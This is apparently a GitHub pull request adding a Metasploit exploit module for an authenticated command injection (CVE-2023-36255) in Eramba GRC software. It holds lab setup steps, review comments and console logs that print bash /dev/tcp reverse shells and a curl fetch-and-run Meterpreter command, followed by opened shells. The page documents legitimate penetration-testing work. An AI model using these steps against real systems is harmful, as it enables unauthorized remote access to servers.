Eramba RCE #19957

msutovsky-r7 · 2025-03-13T11:39:40Z

This PR adds a module for CVE-2023-36255 - Eramba Remote Command Execution. It is built on #19494, this is basically just doing last steps.

Vulnerable Application

Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in Docker format. However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (docker-compose.simple-install.yml):

Installation

Docker and docker-compose is required.

git clone https://github.com/eramba/docker
cd docker
Setup database credentials and public URL in .env
Copy following into docker-compose.simple-install.yml

version: '3.19'
services:
  mysql:
    container_name: mysql
    image: mysql:8.0.28-oracle
    command: ["mysqld", "--disable-log-bin"]
    restart: always
    volumes:
      - db-data:/var/lib/mysql
      - ./mysql/conf.d:/etc/mysql/conf.d
      - ./mysql/entrypoint:/docker-entrypoint-initdb.d
    environment:
      MYSQL_DATABASE: ${DB_DATABASE}
      MYSQL_USER: ${DB_USERNAME}
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
  redis:
    container_name: redis
    image: redis:6.0.16-alpine
    restart: always
  eramba:
    container_name: eramba
    image: ghcr.io/eramba/eramba:3.19.1
    restart: always
    ports:
      - 8443:443
    volumes:
      - data:/var/www/eramba/app/upgrade/data
      - app:/var/www/eramba
      - logs:/var/www/eramba/app/upgrade/logs
      - ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
      - ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
      - ./apache/security.conf:/etc/apache2/conf-available/security.conf
      - ./apache/ports.conf:/etc/apache2/ports.conf
      - ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
      - ./crontab/crontab:/etc/cron.d/eramba-crontab
    environment:
      DB_HOST: ${DB_HOST}
      DB_DATABASE: ${DB_DATABASE}
      DB_USERNAME: ${DB_USERNAME}
      DB_PASSWORD: ${DB_PASSWORD}
      CACHE_URL: ${CACHE_URL}
      USE_PROXY: ${USE_PROXY}
      PROXY_HOST: ${PROXY_HOST}
      PROXY_PORT: ${PROXY_PORT}
      USE_PROXY_AUTH: ${USE_PROXY_AUTH}
      PROXY_AUTH_USER: ${PROXY_AUTH_USER}
      PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
      PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
      DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
      LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
    links:
      - mysql
      - redis
    depends_on:
      - mysql
  cron:
    container_name: cron
    image: ghcr.io/eramba/eramba:3.19.1
    command: ["cron", "-f"]
    entrypoint: ["/docker-cron-entrypoint.sh"]
    restart: always
    volumes:
      - data:/var/www/eramba/app/upgrade/data
      - app:/var/www/eramba
      - logs:/var/www/eramba/app/upgrade/logs
      - ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
      - ./crontab/crontab:/etc/cron.d/eramba-crontab
      - .env:/var/www/docker.env
    environment:
      DB_HOST: ${DB_HOST}
      DB_DATABASE: ${DB_DATABASE}
      DB_USERNAME: ${DB_USERNAME}
      DB_PASSWORD: ${DB_PASSWORD}
      CACHE_URL: ${CACHE_URL}
      USE_PROXY: ${USE_PROXY}
      PROXY_HOST: ${PROXY_HOST}
      PROXY_PORT: ${PROXY_PORT}
      USE_PROXY_AUTH: ${USE_PROXY_AUTH}
      PROXY_AUTH_USER: ${PROXY_AUTH_USER}
      PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
      PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
      DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
      LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
    links:
      - mysql
      - redis
      - eramba
    depends_on:
      - eramba
volumes:
  app:
  data:
  logs:
  db-data:

docker compose -f docker-compose.simple-install.yml up -d

Shut down: docker compose -f docker-compose.simple-install.yml down

Verification Steps

use exploit/linux/http/eramba_rce
set RHOSTS [target IP]
set LHOST [attacker's IP]
set USERNAME [username]
set PASSWORD [password]
exploit

Options

USERNAME

A valid username for Eramba application

PASSWORD

A valid password for Eramba application

Scenarios

msf6 > use exploit/linux/http/eramba_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
RHOSTS => 192.168.95.145
msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
LHOST => 192.168.95.142
msf6 exploit(linux/http/eramba_rce)> set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
PASSWORD => P4ssw0rd!
msf6 exploit(linux/http/eramba_rce) > exploit
[*] Started reverse TCP handler on 192.168.95.142:4444 
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

smcintyre-r7 · 2025-03-20T13:35:53Z

documentation/modules/exploit/linux/http/eramba_rce.md

+## Options
+
+- **USERNAME**: valid username for Eramba application (default: admin)
+- **PASSWORD**: valid password for Eramba application (default: admin)


Options typically use H3.

Suggested change

## Options

- **USERNAME**: valid username for Eramba application (default: admin)

- **PASSWORD**: valid password for Eramba application (default: admin)

## Options

### USERNAME

A valid username for Eramba application

### PASSWORD

A valid password for Eramba application

smcintyre-r7 · 2025-03-20T13:36:11Z

modules/exploits/linux/http/eramba_rce.rb

+        OptString.new('USERNAME', [ true, 'The username to authenticate with']),
+        OptString.new('PASSWORD', [ true, 'The password to authenticate with']),


The docs noted that there was a default username and password, but it's not used here.

smcintyre-r7 · 2025-03-20T13:39:00Z

modules/exploits/linux/http/eramba_rce.rb

+    return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1')
+
+    return Exploit::CheckCode::Safe


Can we add the version to the check code here? That'll be useful for debugging.

Suggested change

return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1')

return Exploit::CheckCode::Safe

return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')

return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")

… characters

smcintyre-r7 · 2025-03-20T19:10:45Z

modules/exploits/linux/http/eramba_rce.rb

+        'Targets' => [
+          [
+            'Unix Command',
+            {
+              'Platform' => 'unix',
+              'Arch' => ARCH_CMD,
+              'Type' => :unix_cmd,


This is filtering out fetch payloads. The docker container has curl and wget installed and I was able to test cmd/linux/http/x64/meterpreter/reverse_tcp using curl but had to make these changes:

Suggested change

'Targets' => [

[

'Unix Command',

{

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Type' => :unix_cmd,

'Targets' => [

[

'Command',

{

'Platform' => ['unix', 'linux'],

'Arch' => ARCH_CMD,

modules/exploits/linux/http/eramba_rce.rb

smcintyre-r7

LGTM, I was able to successfully test both payloads now.

metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > show options 

Module options (exploit/linux/http/eramba_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                         ing-metasploit.html
   RPORT      8443             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to Eramba
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Command



View the full module info with the info, or info -d command.

metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[+] bash -c '0<&31-;exec 31<>/dev/tcp/192.168.159.128/4444;sh <&31 >&31 2>&31'
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[-] Exploit aborted due to failure: unexpected-reply: Failed to login
[*] Exploit completed, but no session was created.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set PASSWORD Password1!
PASSWORD => Password1!
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[+] bash -c '0<&172-;exec 172<>/dev/tcp/192.168.159.128/4444;sh <&172 >&172 2>&172'
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:47214) at 2025-03-25 13:51:46 -0400
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N]  y

[*] 192.168.159.128 - Command shell session 1 closed.  Reason: User exit
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set PAYLOAD  cmd/linux/http/x64/meterpreter/reverse_tcp 
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[*] Command to run on remote host: curl -so /tmp/YVjzJlhFY http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ;chmod +x /tmp/YVjzJlhFY;/tmp/YVjzJlhFY&
[*] Fetch handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:51982) at 2025-03-25 13:52:33 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 10.89.4.4
OS           : Debian 11.6 (Linux 6.13.7-100.fc40.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/var/www/eramba/app/upgrade/webroot
meterpreter >

smcintyre-r7 · 2025-03-25T17:55:26Z

Release Notes

This adds an exploit for CVE-2023-36255 which is an authenticated command injection vulnerability in Eramba.

trvnt-stefan · 2025-05-26T14:06:06Z

Thanks to @msutovsky-r7 and @smcintyre-r7 for completing our initial pull request (#19494). 👍

trvnt-stefan and others added 4 commits March 13, 2025 08:26

Add Eramba Remote Code Execution Exploit

5bb5b40

remove Rank, fix title

538cdc1

Upgrade Eramba RCE module

9886f78

Removing auxiliary module

cac9b6e

smcintyre-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Mar 20, 2025

smcintyre-r7 requested changes Mar 20, 2025

View reviewed changes

Update documentation, adding more precise check, removing unnecessary…

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smcintyre-r7 self-assigned this Mar 20, 2025

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smcintyre-r7 moved this from Todo to In Progress in Metasploit Kanban Mar 20, 2025

Adding more clear installation steps

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smcintyre-r7 merged commit bf1f919 into rapid7:master Mar 25, 2025
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msutovsky-r7 changed the title ~~Auxmodule eramba update~~ Eramba RCE Apr 1, 2025

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Eramba RCE #19957

Eramba RCE #19957

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msutovsky-r7 commented Mar 13, 2025 •

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		OptString.new('USERNAME', [ true, 'The username to authenticate with']),
		OptString.new('PASSWORD', [ true, 'The password to authenticate with']),

		return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1')

		return Exploit::CheckCode::Safe

Eramba RCE #19957

Eramba RCE #19957

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msutovsky-r7 commented Mar 13, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Vulnerable Application

Installation

Verification Steps

Options

USERNAME

PASSWORD

Scenarios

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smcintyre-r7 commented Mar 25, 2025

Release Notes

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msutovsky-r7 commented Mar 13, 2025 •

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